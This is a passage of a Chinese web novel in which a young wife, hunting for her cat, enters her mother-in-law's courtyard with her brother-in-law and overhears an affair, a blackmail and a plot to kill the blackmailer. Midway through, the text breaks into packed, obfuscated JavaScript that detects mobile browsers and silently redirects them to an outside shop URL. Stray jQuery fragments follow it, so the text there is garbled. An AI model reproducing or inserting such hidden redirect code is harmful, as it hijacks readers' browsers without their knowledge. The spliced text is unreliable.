“雪团?雪团?”
隆冬深夜,身材纤细的女子手中拎着灯笼,低声唤着爱宠的名字。
沈令仪用完晚膳,起身去找原本趴在窝里的狸奴,本该躺在那里的小猫却不见了踪影。
她有些心急,独身一人披上大氅就出来了。
听到沈令仪的呼唤,白色身影影影绰绰,从树荫里飞快地蹿了出来,沿着花圃的石板路向前跑去。
“雪团!”
沈令仪眼睛一亮,她加快脚步,紧紧地跟着那道白影子。
奔跑中,大氅兜帽滑落,露出张巴掌大的小脸,女子肤色胜雪,眉目艳若桃李,淡色唇瓣因喘息而微微张开,吐出团团白气,仿若误入人间的九天仙子。
雪团跑到一处院墙外,动作灵敏地跃上墙壁,摇着毛茸茸的大尾巴,面朝沈令仪,软软地“喵”了声。
女子力竭,她叉着腰,胸脯不停地起伏,桃腮眼角浮上红晕,削肩微微起伏,半晌方匀了气息。
嫁人之后,沈令仪被诸多规矩束缚着,连步子也不敢迈大,导致今日不过走快几步,就气力不支了。
沈令仪冲雪团伸出双手,柔和道:“雪团,快下来。”
名叫雪团的猫眯起琥珀色的瞳孔,瞧了她一眼,转身利落地跳进王氏的院中。
小狸奴,怎么这般不听话!
沈令仪心下又气又急,寒冬腊月的天气冷到极点,才几月大的狸奴若是找不到路跑丢了,极有可能冻死在雪夜里。
犹豫再三,沈令仪绕到院门处,贴身伺候王氏的侍女秋菊正守在门边,面色凝重地踱来踱去,一副心神不宁的样子。
她抬眼见沈令仪,行了个礼,面色极不自然,语气生硬道:“少夫人,这么晚有什么事吗?”
沈令仪抿唇,寒风吹起她雪白衣袖,如蹁跹蝴蝶,“秋菊姑娘,我养的狸奴不小心跑进婆母的院中了,可否进去将它抱出来?”
秋菊生硬道:“大夫人身体不适,早已睡下了,此时不方便,少夫人还请明日再来。”
沈令仪的鼻尖冻得通红,“只是进去将它抱出来,不会惊扰婆母休息……”
“少夫人。”秋菊打断沈令仪的话,她面色发白,细看之下,袖中双手还在打颤,“大夫人睡得浅,请您不要再无理取闹了,快回去吧!”
她的态度坚决,像是院中藏着什么见不得人的私密。
沈令仪心下越发觉得古怪,面上却不显丝毫情绪,微微颔首,小扇般睫羽垂下,面容莹白,乖顺柔和:“既然如此,那我便不叨扰婆母了。烦请秋菊姑娘帮我留心那顽皮狸奴,若是见到了,差人捉住送来我院中。”
“自然。”
秋菊不欲多语。
沈令仪离开后,没有回屋,而是绕到了无人看守的院墙处,她准备爬墙进去,一是为了找雪团,二则看看院里到底有什么让王氏这般警惕,一定是藏了什么见不得人的东西。
进去之前,沈令仪先要处理自己沾湿了的衣服,鞋袜裙摆皆被化开的雪泥浸湿,紧紧贴着小腿,十分难受。
俯身拎起一角裙摆,沈令仪身量看着纤弱,身上该有肉的地方却都有肉,单薄的布料下的曲线流畅,饱满丰盈的腿肉紧绷,弧度流畅柔美,精致得像白瓷。
沈令仪掏出怀中手帕,将打湿的布料沾干,她抬头估量了院墙的高度,露出冻得通红的双手,呵出口白气。
尚未出阁时,沈令仪翻墙爬树出去玩是常有的事,父亲沈自安倒不曾拘束她,只是她受伤的时候会生气皱眉,呵斥几句后罚她禁闭。
沈令仪的手掌触及冷硬粗糙的瓦片,咬紧牙关,忽略掌心传来的强烈痛意,扣住墙头,踩住墙面凹凸不平的地方,眼看便要爬上去了,突然脚底一滑,踉跄着落地,好在没有摔到别的地方。
嘶——手好痛。
沈令仪摊开手掌,粗粝的瓦片磨破了几处皮,杏眼痛得沁出泪花,沈令仪朝伤口呼了几口气,小脸苍白。
“嫂嫂。这么晚了,你为何会出现在这里?”
重叠树荫下,裴殊缓步走出,他眼神凌厉,视线在扫过沈令仪垂在身侧的手时一顿,“受伤了?”
手往身后藏了藏,沈令仪侧过脸,白皙如玉的脸上发红发烫,她想起自己刚才又是掀裙摆又是爬墙,不知面前这人看了多少去,不禁有些羞。
“雪团跑丢了,我出来找它,深更半夜你为何不在屋里睡觉,反而出现在这里?”
裴殊垂眸,盯着沈令仪的脸,“你身边侍女朝云来找我,让我替你去找猫。”
“原来如此……”沈令仪雪白小脸双颊红晕如朝霞映雪,额角沁出点点香汗,“小叔既然早到了,为何不出声,非要在我摔了一跤后出来吓人?”
裴殊轻咳一声,修长手指抵住下巴,“我想看看你到底能不能爬过去。”
沈令仪掀裙角擦雪渍时,裴殊便在了,他看见沈令仪翻墙的动作十分熟练,不像头次那般生疏。
自己这个看起来温婉乖巧的嫂嫂,私下竟然会做出这等出格的举动,这样的反差让人意外,却又不是那么意外。裴殊早就看出来沈令仪貌似柔顺,其实内里性格坚韧有主意,胆子又小,好奇心还重。
裴殊语气柔和:“将你的手伸出来。”
沈令仪纤细白嫩的一双玉手摊开,渗出几大团触目惊心的血珠,红与白交织,白雪红梅,动人心魄的艳色。伤口比裴殊想的还要严重些,他将金疮药均匀撒上伤处,抬眼便看见了泪眼汪汪的沈令仪。
二人之间距离极近,近得裴殊可以闻见她身上如兰似雪的清淡香气。
沈令仪杏眼含春波,眼角鼻尖泛着淡红,浓密纤长的睫羽上簇着泪花,裴殊几乎能够瞧见白皙肌理下的青色血管。
他呼吸一滞,收回手,垂下眼帘,“嫂嫂,雪团丢了让下人去找便是。深更半夜,你独自在这宅子中乱转,实在太过危险。”
沈令仪轻轻咬了咬唇,心中暗忖道,裴殊管得也忒多了些,她又不傻,自上次被王氏暗害后,一直十分警惕,现在怀中还揣着匕首呢。
“小叔,我知晓了。”手掌上过药的地方仍有些隐痛,沈令仪眼睫湿润,她不欲与裴殊争辩,语气温和,“雪团是你抱来送我的,我待它自然如珠似玉。”
裴殊摩挲拇指上的墨玉扳指,耳尖处有着一丝不易察觉的红。
他眼眸微垂,嗓音有些沙哑,“一只随处可见的狸奴而已。嫂嫂何必如此重视。”
“若是王氏瞧见你深夜她的院外徘徊,又要借此训斥你一番。”
沈令仪咬着唇,“小叔,我想请你帮我一件事。”
“什么?”
美艳柔弱的女子语气坚定:“翻墙。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17702885|208242||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>……
裴殊武功高强,战场上以一当百,传言果然不是空穴来风。
好厉害的轻功!
眼前的景色倏然变幻,视线之中只剩白色残影,待沈令仪双脚触及地面,站稳之后,才发觉自己已悄然无声地到了王氏院中。
而高大俊朗的男子站在她身侧,面色平淡,呼吸都不曾加重半分,仿佛刚才抱着她凌空腾飞的另有其人。
沈令仪没想到裴殊竟肯陪她胡闹,方才翻墙的提议只不过是说笑,她可没想到裴殊行动如此之快,甚至没多问一句她为何要翻墙进来,就已经抱她进来了。
虽然不知道裴殊为何这般好说话,沈令仪抱拳,朝裴殊无声道:“多谢。”
淡淡月色下,沈令仪不知是否是自己眼花,裴殊冰冷面色稍变化些,眸色柔软,嘴角勾起了不易察觉的弧度。
他轻声道:“无妨。”
雪团蹲在一处石凳上,懒洋洋地耷拉着耳朵,张嘴打了个哈欠。
沈令仪放轻脚步,将它抱起,雪团没有反抗,任她将自己裹入怀中。
沈令仪揉了揉它的脑袋,举步想要离开这里,突然觉得周围一切过于安静了。
往日热闹的院中,服侍王氏的下人都不见了踪影,王氏的房中点着灯,隐约传来些交谈的声音,细听之下,除了王氏的声音……竟还有个男人。
联想到秋菊之前的反常表现,沈令仪定了定神,悄悄走到窗边,红烛摇曳,梨花木轩窗映出两个人影。
二人呢喃细语一阵,yin词艳语不绝于耳,男人的声音格外熟悉,沈令仪似乎在哪儿听到过,可一时想不起是谁。
沈令仪从未想到过王氏与男人私通这个可能,她有些惊讶,一双杏眸圆睁,樱唇微张,下意识看向裴殊。
得知后母红杏出墙,裴殊的表情却没有任何变化,他眸色冰冷,眼皮微掀,似乎对这些事情见怪不怪了。
屋内,二人亲热过后,开始交谈。
“……那厮三番五次地来找我要钱,第一次找我要五百两,我给了他,第二次竟然伸手找我要一千两,我将这些年的首饰卖了都填不上,找儿媳又要了百两,这才凑够。”
“前几日他又来找我,这次狮子大开口,竟然要五千两白银,眼下我哪儿有这么多钱?只能先给了他一百两,暂时稳住了,他说过几日再来要,如果不凑够,就把我们的事情都说出去。”
中年男子道:“你儿媳嫁妆中不还有几千两银票?偷偷拿来便是,只要她还在裴府一日,就翻不起什么大浪。”
王氏抱怨道:“嫁妆现在全在沈令仪手中,裴殊那边还一直派人盯着我,银票?恐怕没你说的那么容易……裴郎,你之前曾许诺过会解决这件事的,我拖不住吴老二了,你快想想办法。”
“斩草需除根。”男人声音阴险狠辣,“实在没办法,我去找人除了他,一个无赖死了也不会有人追究……”
“喵~”
突兀的猫叫传到屋内,打断了谈话,王氏有些心惊肉跳,尖声道,“谁在外头?”
房门骤然被拉开,裴如海端着烛火面色阴沉,目光扫过院里的每一个角落。
被裴殊压在假山之中的沈令仪也从石头缝中看清了那人的面孔,忍不住面露讶异。
与王氏私通之人,竟然是王氏的小叔子,裴殊的叔父裴如海。